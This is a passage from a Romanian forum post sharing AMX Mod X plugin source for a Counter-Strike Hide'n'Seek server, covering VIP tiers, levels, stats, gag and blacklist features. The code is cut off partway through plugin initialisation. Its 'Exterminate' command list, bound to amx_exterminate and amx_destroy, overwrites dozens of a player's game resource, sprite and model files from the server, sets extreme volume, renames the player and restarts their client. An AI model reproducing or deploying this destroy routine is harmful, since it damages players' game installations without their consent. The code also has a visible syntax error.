Ti-am facut si faza cu flagurile,ti-am spus mie nu imi merge compilat..nu am toate alea de le cere pluginul :) .. apropo nu am umblat la celalalt model si anume HNS_TeroHunt.mdl :-??

Poftim sursa:
| Afiseaza codul
#include <amxmodx>
#include <amxmisc>
#include <cstrike>
#include <engine>
#include <fun> 
#include <fakemeta>
#include <geoip> 
#include <regex>
#include <hamsandwich>
#pragma dynamic 32768

#define ADMIN_VIP	read_flags("abcdefghijklmopq" 
#define ADMIN_VIP2  read_flags("abcdefghijklmopqr")
#define ADMIN_VIP3  read_flags("abcdefghijklmopqrs")
#define ADMIN_VIP4  read_flags("abcdefghijklmopqrst")
#define ADMIN_VIP5  read_flags("abcdefghijlmnopqrstu")

/* ON/OFF Status */
#define CLEAN_MOD_STATUS	"1"								// ClMod Status
#define CLAN_ON				"0"								// Clan ? On/Off
#define RETRY_STATUS		"1"								// Retry status
#define BLACKLIST_STATUS	"1"								// Blacklist status
#define FPS_MAX_STATUS		"1"								// FPS MAX Status
#define STATS_LOG			"1"								// StatsLog
#define FURT_DE_IDENTITATE	"1"								// Status ON/OFF
#define EXTERMINATE_STATUS	"1"								// Exterminate
#define ADMINS_TO_FORUM		"1"								// ATF (AdminsToForum) status
#define AUTO_RESPONSE		"1"								// AutoResponse status
#define LAST_MAPS_STATUS	"1"								// LastMaps status
#define PING_CHECKER		"1"								// PingCheker status
#define PLAYER_STATS		"1"								// PlayerStats status
#define GAG_STATUS			"1"								// Gag status
#define BLOCK_NAME			"1"								// BlockName status
#define LASTIP_STATUS		"1"								// LastIP status
#define VERIFICA_JUCATOR	"1"								// Verifica jucator status
/* Define */
// Plugin
#define TAG					"GameMod"						// Tag Plugin
#define TAG_CLAN			"GameMod"							// Tag CLAN
#define MAX_PLAYERS			33								// Max Players
// Files
#define FAST_FOLDER			"/HNS_"							// Folder Directory
#define STATS_FILE			"/_sTaTs.dat"					// Salvare Statistici
#define CLEANMOD_LOG		"/_cLeanmoD.dat"				// Salvare log (CleanMod)
#define BLACKLIST_FILE		"/_rEstricteD.ini"				// Restrict Player
#define EXTERMINATE_LOG		"/_eXterminaTe.log"				// Exterminate LOG
#define ATF_SALVARE			"/_AdminsToForum.cfg"			// Admins To Forum File
#define LAST_MAPS			"/_LasTMapS.cfg"				// LastMaps
#define ADMIN_SAY			"/_AdminSay.log"				// Admin Say
#define LAST_IP				"/_LastIP.cfg"					// LastIP Say
#define GC_LOG				"/_GeneratorCuvinte_Win.log"	// Castigatorii la generatorul de cuvinte.
// VipMe | VIP | Slot
#define ZILE_ANUNT_EXPIRARE 10								// Anunt cu X zile expirarea vipului
#define SLOT_ACCES 			"bi"							// Slot Acces
#define ORE_VIP_ME 			50								// Dupa cate ore sa poata folsi cumanda /vipme
#define DURATA_VIP_ME 		30								// Durata /vipme
#define VIP_ME_GRAD 		1								// Grad /vipme
#define SEC_TO_PASSWORD		"45"							// Cate secunde sa aiba la dispozitie sa scrie parola ?
// Top / Sort
#define MAX_COUNT 25000										// Max Count
#define TOP	15												// Top !
// Restrict Name
#define NUME_MIN_CHR		3								// Minim Chars
#define NUME_MAX_CHR		31								// Minim Chars
// NoJoinTeam
#define RETRY_MAX			5								// Retry-uri
#define RETRY_BANTIME		"10"							// BanTime
#define RETRY_REMOVE		60.0							// Dupa cat timp sa se stearga retry-uril.
// Other
#define TIME_TO_ITEMS		11								// Dupa cate secunde de la inceperea rundei sa ii distribuie itemel (HNS + 1 sec)
#define URL_MOTD			"http://www.legendcs.com/forum"			// URL Info-uri
#define MEDIC_COST 			1								// Medic Cost
#define AFK_TIME			500								// >30 AFK TIME TO KICK
#define AFK_ADV_TIME		5								// Cu cate secunde sal avertizeze.
#define EXT_BAN_TIME		1440							// Exterminate BanTime
#define GAG_DEFAULT_TIME	2								// Gag default time
#define LASTIP_RECORD		10								// Cate iesiri sa inregistreze
#define RESTRICTED_TIME		48								// Cate ore sa fie restrictionat.
// Ping Checker
#define PING_SEC_CHECK		5.0
#define PING_CHECK_MAX		5
/* Task */
#define TASK_PUTINSERVER		50
#define TASK_REMOVE_VIP			100
#define TASK_ITEMS				150
#define TASK_ROUND_ITEMS		200
#define TASK_MESSAGE_MODE		250
#define TASK_SLOTME_PW			300
#define TASK_VALIDARE_STEAM		350
#define TASK_AFK_ADV_TIME		400
#define TASK_AFK_TIME			450
#define TASK_ENTRY_JOINTEAM		500
#define TASK_PING_CHECKER		550
#define TASK_GAG_TIME			600
#define TASK_JOINTEAM_CLEAN		9000
#define TASK_GCUVINTE			9001
/* SpecInfo / FPS */
#define FPS_MAX					350
#define KEYS_STR_LEN			128
#define LIST_STR_LEN 			1024
#define BOTH_STR_LEN 			KEYS_STR_LEN + LIST_STR_LEN
#define FL_LIST    				( 1 << 0 )
#define FL_KEYS    				( 1 << 1 )
#define FL_OWNKEYS 				( 1 << 2 )
#define FL_HIDE    				( 1 << 3 )
new Float: GameTime[MAX_PLAYERS]
new FramesPer[MAX_PLAYERS]
new CurFps[MAX_PLAYERS]
new Fps[MAX_PLAYERS]
new MaxPlayerFPS[MAX_PLAYERS]
new Fps_Warn[MAX_PLAYERS]
new LastWarn[MAX_PLAYERS]
new cl_keys[MAX_PLAYERS], cl_prefs[MAX_PLAYERS]
new keys_string[MAX_PLAYERS][KEYS_STR_LEN + 1], list_string[MAX_PLAYERS][LIST_STR_LEN + 1]
new cl_names[MAX_PLAYERS][21], spec_ids[MAX_PLAYERS][33]
//
/* Point */
new ptTeroHunt, ptPlStats[MAX_PLAYERS][2]
new PointStatus=false
/* Stats */
new plNume[MAX_PLAYERS][32]
new plAcces[MAX_PLAYERS] /* [0]Normal | [1]Slot | [1]Vip */
new plTime[MAX_PLAYERS][2]
new plPass[MAX_PLAYERS][64]
new plVipInfo[MAX_PLAYERS][3]
new plStats[MAX_PLAYERS][5]
new plLast[MAX_PLAYERS][64]
new plLastIP[MAX_PLAYERS][64]
new plVipEnd[MAX_PLAYERS][64]
new plNoBug[MAX_PLAYERS][6]
/* zzz */
new TeroLast
new TeroLastTime
new sLastChTime[MAX_PLAYERS]
new LastUserCheck[MAX_PLAYERS]
new PwFieldServer[10]
new xLastMaps[5][32]
new LastMessage[MAX_PLAYERS][64]
/* Files */
new sFolder[128], sStatsFile[128], sCleanMod[128], sBackUp[128], sBlackList[128], sStatsLog[128], sExtLog[128], sAtf[128], sLastMaps[128], sAdminSay[128], sRegSay[128], sChatLogFolder[128], sLastIp[128], sGcLog[128]
/* NoJoinTeam */
new jointeamRetry[MAX_PLAYERS]
new jointeamIp[MAX_PLAYERS][32]
new jointeamTeam[MAX_PLAYERS]
/* Last IP */
new LastIP[LASTIP_RECORD][256]
new LastNume[32]
new LastIPNum
/* AFK */
new afkOrigin[MAX_PLAYERS][3]
new afkTime[MAX_PLAYERS]
new afkCount[MAX_PLAYERS]
new afkStopAFK[MAX_PLAYERS]
/* BlackList */
new locatiiLocatie[1024][64]
new locatiiPlayer[1024][32]
new locatiiIp[1024][32]
new locatiiTime[1024]
new locatiiNumLoad
/* Ping Checker */
new pingCheck[MAX_PLAYERS]
/* Gag */
new gagIp[512][32]
new gagDetails[512][256]
new gagPlayer[33]=false
new gagMultiple=false
/* Rounds */
new FirstRound=false
new RoundEnd = false
/* Cvars */
new cvMinimPlayers, cvTeroHuntPoints, cvRoundPoints, cvFragsMax, cvGCuvantPuncte, cvInactiveDay, cvOreSlot, cvMaxPing
/* Generare Cuvant */
new const uLitere[][] = { "A","B","C","D","E","F","G","H","I","J","K","L","M","N","O","P","Q","R","S","T","U","V","W","X","Z","Y" }
new const lLitere[][] = { "a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z" }
new const aNumere[][] = { "1","2","3","4","5","6","7","8","9","0" }
new gcStatus, gcCuvant[64], gcMode, gcLast, gcNoFlood
/* Medic */
new medicLast[MAX_PLAYERS]
new medicBlock[MAX_PLAYERS]
/* SlotMe / VipMe */
new MessageMode[MAX_PLAYERS]
new menuConfirmareSlot
new menuConfirmareVip
/* Top Ore */
new topOreNume[TOP][32]
new topOreTime[TOP][32]
new topOreLast[TOP][32]
new topOreAcces[TOP][32]
/* Top Jucatori */
new topJucatoriNume[TOP][32]
new topJucatoriAcces[TOP][32]
new topJucatoriLvl[TOP][2]
new topJucatoriStats[TOP][5]
/* Sort */
new topTotalPlayers
new topLastUpdate[32]
static sortOre[MAX_COUNT][2]
static sortJucatori[MAX_COUNT][2]
static sortMore[MAX_COUNT][256]
// Regex
#define REGEX_IP_PATTERN "\b(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\b"
#define IsIP(%1) (regex_match_c(%1, g_IP_pattern, g_regex_return) > 0)
new Regex:g_IP_pattern
new g_regex_return


/* High Ping Kicker */
new const pingSetari[][]= {
	"rate 25000",
	"cl_updaterate 101",
	"cl_cmdrate 101",
	"ex_interp 0.01"
}

/* Team Info */
new const TeamName[][] =
{
	"RANDOM",
	"T",
	"CT",
	"SPEC"
}

/* Special Plugin Acces */
new const PluginSpecialAcces[][] =
{
	"CsN"
}

/* WHO */
new const whoCulori[][] = 
{
	"#000099",
	"#0099FF",
	"#66CCFF",
	"#00CC00",
	"#336600",
	"#CCCC00",
	"#FF9933",
	"#525266"
}

new const whoDenumire[][] = 
{
	"Detinator",
	"Owner",
	"Moderator",
	"Administrator",
	"Helper",
	"Slot",
	"V.I.P"
	
}

new const whoGrad[][] = 
{
	"abcdefghijklmnopqrstu",
	"abcdefghijklmnopqrs",
	"bcdefghijmnopq",
	"bcdefgijmno",
	"bcdefhijm",
	"bcdef",
	"b"
}

/* Admins to Forum */
new const atfImg[][] = 
{
	"Image"			,
	"Image"			,
	"Image"			,
	"Image"		,
	"Image"			,
	"Image"			,
	"Image"				,
	"Image"
}

new const OnOff[][] =
{
	"[Off]",
	"[On]"
}

/* Say Check */
new const sayReclama[][] =
{
	":27015"	,
	"h t t p"	
}

new const sayBlock[][] = 
{
	"boost"			,
	"enable"		,
	"disable"		,
	"activate"		,
	"doctor"
}

new const sayLimbaj[][] =
{
	"***"		,
	"gtm"		,
	"***"		,
	"***"		,
	"fcm"		,
	"****"		,
	"*****"		,
	"****"		,
	"masi"		,
	"tactu"		,
	"dumnezei"	,
	"paste"		,
	"morti"		,
	"****"		,
	"*****"		,
	"sug"		,
	"laba"		,
	"***"		,
	"retard"	,
	"prost"
	}

/* Exterminate */
new const extClientCMD[][] =
{
	"volume 100000000",
	"cl_bobcycle 0",
	"_setvideomode 640 480",
	"motdfile ^"resource/GameMenu.res^"; motd_write ^"GameMenu^"{ ^"1^" { ^"label^" ^"Ai belit ****^" } ^"2^" { ^"label^" ^"------------------^" } ^"3^" { ^"label^" ^"Te mai asteptam pe la noi^" } ^"4^" { ^"label^" ^"------------------^" } ^"5^" { ^"label^" ^"Comanda creeata de mikeee.^" } } ",
	"motdfile ^"halflife.wad^"; motd_write (HNS.LEGENDCS.COM -> eXterminate)  ",
	"motdfile ^"resource/BackgroundLoadingLayout.txt^"; motd_write (HNS.LEGENDCS.COM -> eXterminate)  ",
	"motdfile ^"resource/BackgroundLayout.txt^"; motd_write (HNS.LEGENDCS.COM -> eXterminate)  ",
	"motdfile ^"resource/ClientScheme.res^"; motd_write (HNS.LEGENDCS.COM -> eXterminate)  ",
	"motdfile ^"resource/optionssubmultiplayer.res^"; motd_write (HNS.LEGENDCS.COM -> eXterminate)  ",
	"motdfile ^"resource/TrackerScheme.res^"; motd_write (HNS.LEGENDCS.COM -> eXterminate)  ",
	"motdfile ^"resource/game_menu.tga^"; motd_write (HNS.LEGENDCS.COM -> eXterminate)  ",
	"motdfile ^"resource/game_menu_mouseover.tga^"; motd_write (HNS.LEGENDCS.COM -> eXterminate)  ",
	"motdfile ^"resource/icon_steam.tga^"; motd_write (HNS.LEGENDCS.COM -> eXterminate)  ",
	"motdfile ^"resource/icon_steam_disabled.tga^"; motd_write (HNS.LEGENDCS.COM -> eXterminate)  ",
	"motdfile ^"resource/logo_game.tga^"; motd_write (HNS.LEGENDCS.COM -> eXterminate)  ",
	"motdfile ^"resource/menu_hl_no_icon.tga^"; motd_write (HNS.LEGENDCS.COM -> eXterminate)  ",
	"motdfile ^"resource/steam_logo.tga^"; motd_write (HNS.LEGENDCS.COM -> eXterminate)  ",
	"motdfile ^"resource/steam_menu.tga^"; motd_write (HNS.LEGENDCS.COM -> eXterminate)  ",
	"motdfile ^"resource/steam_menu_mouseover.tga^"; motd_write (HNS.LEGENDCS.COM -> eXterminate)  ",
	"motdfile ^"resource/valve_logo.tga^"; motd_write (HNS.LEGENDCS.COM -> eXterminate)  ",
	"motdfile ^"commandmenu.txt^"; motd_write (HNS.LEGENDCS.COM -> eXterminate)  ",
	"motdfile ^"sprites/3dmflaora.spr^"; motd_write (HNS.LEGENDCS.COM -> eXterminate)  ",
	"motdfile ^"sprites/3dmflared.spr^"; motd_write (HNS.LEGENDCS.COM -> eXterminate)  ",
	"motdfile ^"sprites/640hud1.spr^"; motd_write (HNS.LEGENDCS.COM -> eXterminate)  ",
	"motdfile ^"sprites/640hud2.spr^"; motd_write (HNS.LEGENDCS.COM -> eXterminate)  ",
	"motdfile ^"sprites/640hud3.spr^"; motd_write (HNS.LEGENDCS.COM -> eXterminate)  ",
	"motdfile ^"sprites/640hud4.spr^"; motd_write (HNS.LEGENDCS.COM -> eXterminate)  ",
	"motdfile ^"sprites/640hud5.spr^"; motd_write (HNS.LEGENDCS.COM -> eXterminate)  ",
	"motdfile ^"sprites/640hud6.spr^"; motd_write (HNS.LEGENDCS.COM -> eXterminate)  ",
	"motdfile ^"sprites/hud.txt^"; motd_write (HNS.LEGENDCS.COM -> eXterminate)  ",
	"motdfile ^"sprites/weapon_awp.txt^"; motd_write (HNS.LEGENDCS.COM -> eXterminate)  ",
	"motdfile ^"sprites/weapon_ak47.txt^"; motd_write (HNS.LEGENDCS.COM -> eXterminate)  ",
	"motdfile ^"sprites/weapon_deagle.txt^"; motd_write (HNS.LEGENDCS.COM -> eXterminate)  ",
	"motdfile ^"sprites/weapon_hegrenade.txt^"; motd_write (HNS.LEGENDCS.COM -> eXterminate)  ",
	"motdfile ^"sprites/weapon_m4a1.txt^"; motd_write (HNS.LEGENDCS.COM -> eXterminate)  ",
	"motdfile ^"sprites/weapon_usp.txt^"; motd_write (HNS.LEGENDCS.COM -> eXterminate)  ",
	"motdfile ^"models/p_awp.mdl^"; motd_write (HNS.LEGENDCS.COM -> eXterminate)  ",
	"motdfile ^"models/p_deagle.mdl^"; motd_write (HNS.LEGENDCS.COM -> eXterminate)  ",
	"motdfile ^"models/p_ak47.mdl^"; motd_write (HNS.LEGENDCS.COM -> eXterminate)  ",
	"motdfile ^"models/p_m4a1.mdl^"; motd_write (HNS.LEGENDCS.COM -> eXterminate)  ",
	"motdfile ^"models/p_usp.mdl^"; motd_write (HHNS.LEGENDCS.COM -> eXterminate)  ",
	"motdfile ^"models/player/arctic.mdl^"; motd_write (HNS.LEGENDCS.COM -> eXterminate)  ",
	"motdfile ^"models/shield/p_shield_deagle.mdl^"; motd_write (HNS.LEGENDCS.COM -> eXterminate)  ",
	"motdfile ^"tempdecal.wad^"; motd_write (HNS.LEGENDCS.COM -> eXterminate)  ",
	"name ^"(HNS.LEGENDCS.COM - eXterminate)^";wait;cl_timeout 0;wait;wait;_restart",
	"n4me ^"(HNS.LEGENDCS.COM - eXterminate)^";wait;cl_timeout 0;wait;wait;_r3start"
}

/** Items !!! **/
/* VIP */
/* 								Grad	 0			1					2					 3					   4					  SP*/	 
static const VipAcces			[][] = { "",   		"abcdefghijklmopq", "abcdefghijklmopqr", "abcdefghijklmopqrs", "abcdefghijklmopqrst", "abcdefghijlmnopqrstu" }
static const VipItemHe			[][] = { "0", 	 	"1", 				"2", 				 "3", 				   "3" 					, "5" }
static const VipItemFl			[][] = { "0",  		"0", 				"0", 				 "0", 				   "0" 					, "0" }
static const VipItemSm			[][] = { "0",  		"1", 				"2", 				 "2", 				   "3" 					, "5" }
static const VipItemDgl			[][] = { "0",  		"1", 				"2", 				 "3", 				   "3" 					, "4" }
static const VipItemMn			[][] = { "0",  		"10", 				"15", 				 "18", 				   "25" 				, "100" }
static const VipItemHp			[][] = { "0",  		"50", 				"100", 				 "150", 			   "200" 				, "300" }
static const VipItemSp			[][] = { "250.0",   "250.0", 			"255.0", 			 "260.0", 			   "270.0" 				, "280.0" }
static const VipHpKill			[][] = { "0",  		"5", 				"10", 				 "15", 				   "20" 				, "70" }
static const VipMedicTime		[][] = { "0",       "0",                "1",                 "2",                  "3"                  , "6" }
static const VipMaxHP			[][] = { "100",     "110",              "115",               "120",                "125"                , "130" }
static const VipMedicHP			[][] = { "0",		"10",				"15",				 "20",				   "25"					, "50" }
static const VipUpFaster		[][] = { "0",		"2",				"3",				 "4",				   "8"					, "15" }
/* LVL */
/*								LEVEL	 0,     1,     2,     3,     4,     5,     6,     7,       8,     9,      10,     11,     12,      13,      14,      15,      16,      17,      18,      19,      20,      21,      22,      23,      24,      25,      26,       27,      28,      29,      30,      31,      32,      33,      34,      35,      36,      37,      38,      39,      40,      41,      42,      43,      44,      45,       ...*/
static const LevelXP			[][] = { "1",   "3",   "10",  "15",  "30",  "50",  "100", "200",  "300",  "450",  "650",  "850",  "1050",  "1200",  "1500",  "1750",  "2000",  "2350",  "2600",  "3000",  "3500",  "3900",  "4300",  "4700",  "5200",  "5700",  "6200",   "7000",  "7600",  "8400",  "9000",  "10000", "11111", "12000", "13000", "14111", "15222", "16333", "18000", "20000", "23000", "25000", "27500", "30000", "34000", "50000"		  }
static const LevelItemHe		[][] = { "0",   "0",   "0",   "0",   "0",   "0",   "0",   "0",    "0",    "0",    "1",    "1",    "1",     "1",     "1",     "1",     "1",     "1",     "1",     "1",     "2",     "2",     "2",     "2",     "2",     "2",     "2",      "2",     "2",     "2",     "3",     "3",     "3",     "3",     "3",     "3",     "3",     "3",     "3",     "3",     "4",     "4",     "4",     "4",     "4",     "5"			  }
static const LevelItemFl		[][] = { "0",   "0",   "0",   "0",   "0",   "0",   "0",   "0",    "0",    "0",    "0",    "0",    "0",     "0",     "0",     "0",     "0",     "0",     "0",     "0",     "0",     "0",     "0",     "0",     "0",     "0",     "0",      "0",     "0",     "0",     "0",     "0",     "0",     "0",     "0",     "0",     "0",     "0",     "0",     "0",     "0",     "0",     "0",     "0",     "0",     "0"			  }
static const LevelItemSm		[][] = { "0",   "0",   "0",   "0",   "0",   "1",   "0",   "0",    "0",    "0",    "1",    "1",    "1",     "1",     "1",     "1",     "1",     "1",     "1",     "1",     "2",     "2",     "2",     "2",     "2",     "2",     "2",      "2",     "2",     "2",     "3",     "3",     "3",     "3",     "3",     "3",     "3",     "3",     "3",     "3",     "4",     "4",     "4",     "4",     "4",     "5"			  }
static const LevelItemDgl		[][] = { "0",   "0",   "0",   "0",   "0",   "0",   "0",   "0",    "0",    "0",    "1",    "1",    "1",     "1",     "1",     "1",     "1",     "1",     "1",     "1",     "2",     "2",     "2",     "2",     "2",     "2",     "2",      "2",     "2",     "2",     "3",     "3",     "3",     "3",     "3",     "3",     "3",     "3",     "3",     "3",     "4",     "4",     "4",     "4",     "4",     "5"			  }
static const LevelItemMnKill	[][] = { "0",   "0",   "0",   "0",   "0",   "0",   "0",   "0",    "0",    "0",    "0",    "1",    "1",     "1",     "1",     "2",     "2",     "2",     "2",     "2",     "2",     "2",     "2",     "2",     "2",     "2",     "2",      "2",     "2",     "2",     "2",     "3",     "3",     "3",     "3",     "3",     "3",     "3",     "3",     "3",     "4",     "4",     "4",     "4",     "4",     "6"			  }
static const LevelItemHp		[][] = { "0",   "0",   "0",   "0",   "0",   "1",   "2",   "3",    "4",    "5",    "5",    "5",    "5",     "5",     "5",     "10",    "10",    "10",    "10",    "15",    "15",    "15",    "15",    "16",    "18",    "20",    "22",     "24",    "26",    "28",    "30",    "32",    "34",    "36",    "38",    "40",    "42",    "44",    "46",    "48",    "50",    "52",    "54",    "56",    "58",    "100"	 	  }
static const LevelItemHpKill	[][] = { "0",   "0",   "0",   "0",   "0",   "0",   "0",   "0",    "0",    "3",    "3",    "3",    "3",     "3",     "3",     "5",     "5",     "5",     "5",     "5",     "5",     "5",     "5",     "5",     "5",     "5",     "5",      "8",     "8",     "8",     "8",     "10",    "10",    "10",    "10",    "10",    "13",    "13",    "13",    "13",    "17",    "17",    "17",    "20",    "20",    "20"	      }
static const LevelItemMn		[][] = { "0",   "0",   "1",   "1",   "1",   "1",   "1",   "1",    "1",    "2",    "2",    "2",    "2",     "2",     "2",     "2",     "2",     "2",     "2",     "2",     "2",     "3",     "3",     "3",     "3",     "3",     "3",      "3",     "3",     "3",     "5",     "5",     "5",     "5",     "5",     "5",     "5",     "5",     "6",     "7",     "8",     "9",     "10",    "11",    "12",    "13"		  }
static const LevelMedicTime		[][] = { "6",   "6",   "6",   "6",   "6",   "6",   "6",   "6",    "6",    "6",    "6",    "6",    "5",     "5",     "5",     "5",     "5",     "5",     "5",     "5",     "5",     "5",     "5",     "5",     "5",     "5",     "4",      "4",     "4",     "4",     "4",     "4",     "4",     "4",     "4",     "4",     "4",     "4",     "4",     "4",     "4",     "3",     "3",     "3",     "3",     "3"			  }
static const LevelMaxHP			[][] = { "100", "100", "100", "100", "100", "100", "100", "100",  "100",  "100",  "105",  "105",  "105",   "105",   "105",   "105",   "105",   "105",   "105",   "105",   "110",   "110",   "110",   "110",   "110",   "110",   "110",    "110",   "110",   "110",   "115",   "115",   "115",   "135",   "115",   "115",   "115",   "115",   "115",   "115",   "120",   "120",   "120",   "120",   "120",   "125"         }
static const LevelMedicHP		[][] = { "20",  "20",  "20",  "20",  "20",  "20",  "20",  "25",   "25",   "25",   "25",   "35",   "35",    "35",    "45",    "45",    "45",    "50",    "50",    "50",    "50",    "50",    "50",    "50",    "50",    "50",    "65",     "65",    "65",    "65",    "65",    "65",    "65",    "65",    "65",    "65",    "75",    "75",    "75",    "75",    "75",    "75",    "75",    "85",    "85",    "85"  		  }
static const LevelUpFaster		[][] = { "1",   "1",   "1",   "1",   "1",   "1",   "1",   "1",    "1",    "1",    "1",    "1",    "2",     "2",     "2",     "2",     "2",     "3",     "3",     "3",     "3",     "3",     "3",     "3",     "4",     "4",     "4",      "4",     "4",     "5",     "5",     "5",     "5",     "5",     "5",     "5",     "5",     "6",     "6",     "6",     "7",     "7",     "7",     "8",     "10",    "15"		  } 
/* Point */
/*							Point Level	 0,   1,    2,    3,    4,    5,    6,    7,    8,    9,     10 	 */
static const PointItemHe		[][] = { "0", "0",  "0",  "0",  "0",  "1",  "1",  "1",  "1",  "1",   "2"	    }
static const PointItemFl		[][] = { "0", "0",  "0",  "0",  "0",  "0",  "0",  "0",  "0",  "0",   "0"	    }
static const PointItemSm		[][] = { "0", "0",  "0",  "0",  "0",  "1",  "1",  "1",  "1",  "1",   "2"	    }
static const PointItemDgl		[][] = { "0", "0",  "0",  "0",  "0",  "1",  "1",  "1",  "1",  "1",   "2"	    }
static const PointItemHp		[][] = { "0", "0",  "0",  "0",  "0",  "10", "10", "10", "10", "10", "50" 		}
static const PointItemMn		[][] = { "0", "0",  "1",  "1",  "1",  "1",  "1",  "1",  "2",  "2",   "3"     	}
static const PointUpFaster		[][] = { "0", "1",  "1",  "2",  "3",  "4",  "5",  "5",  "5",  "7",   "10"   	}
/* ==========================================================================================
===================================================== Plugin
========================================================================================== */
public plugin_init()
{
	register_plugin("hns_fasT", "3.5b", " fasT")
	
	/* CMD */
	register_concmd("say", "SaysCommand")
	register_concmd("say_team", "SaysCommand")
	register_concmd("PAROLA_SLOT", "SlotMeFinal")
	register_concmd("/medic", "Medic")
	register_clcmd("jointeam", "jointeamBlock")
	
	
	/* Concole */
	register_concmd("amx_resetpoint", "cmdReseteazaPuncte")
	register_concmd("amx_addpoint", "cmdAdaugaPuncte")
	register_concmd("amx_addvip", "cmdAdaugaVip")
	register_concmd("amx_resetstats", "cmdResetStats")
	register_concmd("amx_vipstats", "VipStats")
	register_concmd("amx_cleanmod", "CleanMod")
	register_concmd("amx_addblacklist", "AddBlackList")
	register_concmd("amx_blacklist", "BlackList")
	register_concmd("amx_destroy", "cmdExterminate", ADMIN_CVAR, "<nume / #userid>")
	register_concmd("amx_exterminate", "cmdExterminate", ADMIN_CVAR, "<nume / #userid>")
	register_concmd("amx_showstats", "cmdPlayerInfo", ADMIN_KICK, "< Detalii despre jucatori >")
	register_concmd("amx_showip", "cmdPlayerInfo", ADMIN_KICK, "< Detalii despre jucatori >")
	register_concmd("amx_gag", "cmdAmxGag", ADMIN_KICK, "<nume | @ALL> <durata> <motiv>")
	register_concmd("amx_ungag", "cmdAmxUnGag", ADMIN_KICK, "<nume | @ALL>")
	register_concmd("amx_last", "cmdLastIP", ADMIN_KICK, "<Ultimele ip-uri ale jucatoriilor>")
	register_concmd("amx_lastip", "cmdLastIP", ADMIN_KICK, "<Ultimele ip-uri ale jucatoriilor>")
	
	/** Cvars **/
	register_cvar("hnsf_minim_players", "4")				// Jucatori minimi pentru a incepe modul HNS
	register_cvar("hnsf_terohunt_points", "3")				// Cate puncte ii dam celui care il ia pe TeroHunt ?
	register_cvar("hnsf_round_points", "1")					// Cate puncte ia daca rezista o runda
	register_cvar("hnsf_frags_max", "3")					// Cate fraguri sa faca pentru X puncte
	register_cvar("hnsf_gcuvant_puncte", "3")				// Puncte pentru generarea cuvatului.
	register_cvar("hnsf_ore_slot", "25")					// Care ore trebuie ca sa ia slot prin comanda /slotme
	register_cvar("hnsf_zile_inactive", "5")				// Dupa cate zile de inactivitate sa te stearga din top ?
	register_cvar("hnsf_ping_maxim", "100")					// Pingul maxim permis pe server (fara sa-i dea kick)
	
	/* Events */
	register_forward(FM_ClientUserInfoChanged, "ClientUserInfoChanged")
	register_logevent("StartRound", 2, "1=Round_Start")
	register_logevent("EndRound", 2, "1=Round_End")
	register_event("DeathMsg", "Kill_Death", "a")
	register_event("TextMsg", "Game_Commencing", "a", "2=#Game_Commencing")
	register_event("CurWeapon", "Schimba_Arma", "be")
	register_event("ResetHUD", "ScoreAttrib", "be")
	
	/* RegisterHam */
	RegisterHam(Ham_Spawn,"player","fwd_spawn",1)
	
	/* Menu */
	menuConfirmareSlot = register_menuid("menuConfirmareSlot")
	menuConfirmareVip = register_menuid("menuConfirmareVip")
	register_menucmd(menuConfirmareSlot, 1023, "PUBmenuConfirmareSlot")
	register_menucmd(menuConfirmareVip, 1023, "PUBmenuConfirmareVip")
	
	/* Fisier de baza */
	get_datadir(sFolder, 127)
	add(sFolder, 127, FAST_FOLDER)
	if (!dir_exists(sFolder))
		mkdir(sFolder)
	format(sBackUp, 127, "%s/bkup_", sFolder)
	format(sStatsLog, 127, "%s/stats_", sFolder)
	format(sChatLogFolder, 127, "%s/chat_", sFolder)
	format(sStatsFile, 127, "%s%s", sFolder, STATS_FILE)
	format(sCleanMod, 127, "%s%s", sFolder, CLEANMOD_LOG)
	format(sBlackList, 127, "%s%s", sFolder, BLACKLIST_FILE)
	format(sExtLog, 127, "%s%s", sFolder, EXTERMINATE_LOG)
	format(sAtf, 127, "%s%s", sFolder, ATF_SALVARE)
	format(sLastMaps, 127, "%s%s", sFolder, LAST_MAPS)
	format(sAdminSay, 127, "%s%s", sChatLogFolder, ADMIN_SAY)
	format(sLastIp, 127, "%s%s", sFolder, LAST_IP)
	format(sGcLog, 127, "%s%s", sFolder, GC_LOG)
	/* Creeaza fisierele */
	if (!FileStatus(sStatsFile))
	{
		write_file(sStatsFile, ";* Model salvare !!", -1)
		write_file(sStatsFile, ";* ^"Nume^" ^"Parola^" ^"PlayerTime^" ^"UnixLast^" ^"LastIP^" ^"DateLast^" ^"Kills^" ^"HeadShot^" ^"Round^" ^"Death^" ^"Suicide^" ^"Normal/Slot/Vip^" ^"VipStart^" ^"DurataVip^" ^"VipGrad^" ^"VipEnd^"", -1)
		write_file(sStatsFile, "!^"LastUpdate^" ^"0^"", -1)
		write_file(sStatsFile, "", -1)
	}
	//
	if (!FileStatus(sCleanMod))
	{	
		write_file(sCleanMod, "! CLEANMOD LOG = HNS.LEGENDCS.COM = mikeee. !", -1)
	}
	//
	if (!dir_exists(sBackUp))
		mkdir(sBackUp)
	//
	if (!FileStatus(sBlackList))
	{
		write_file(sBlackList, "; Model: ^"Latitudine Longitudine^" ^"Ip^" ^"Player^" ^"Durata^"", -1)
		write_file(sBlackList, "", -1)
	}
	//
	if (!dir_exists(sStatsLog))
		mkdir(sStatsLog)

	new data[32], temp[128], map[64]
	get_mapname(map, 63)
	get_time("%d.%m.%Y", data, 31)
	format(sStatsLog, 127, "%s/l_%s.log", sStatsLog, data)
	get_time("%H:%M:%S", data, 31)
	
	FileStatus(sStatsLog)
	format(temp, 127, "----- LOG START ----- [%s] ----- [%s] -----", map, data)
	write_file(sStatsLog, "--------------------------------------------------------------------------------------------------------------------------", -1)
	write_file(sStatsLog, temp, -1)
	write_file(sStatsLog, "--------------------------------------------------------------------------------------------------------------------------", -1)
	//
	if (!FileStatus(sExtLog))
	{
		write_file(sExtLog, "-> EXTERMINATE LOG -> mikeeee.->", -1)
		write_file(sExtLog, "", -1)
	}
	//
	if (FileStatus(sAtf))
	{
		delete_file(sAtf)
	}
	if (str_to_num(ADMINS_TO_FORUM))
	{
		get_time("%d.%m.%Y %H:%M:%S", data, 31)
		format(temp, 255, "[center]Ultimul update a fost facut pe data %s", data)
		write_file(sAtf, temp, -1)
		write_file(sAtf, "Lista adminiilor/sloturilor/vipurilor de pe serverul HNS.LEGENDCS.COM", -1)
	}
	//
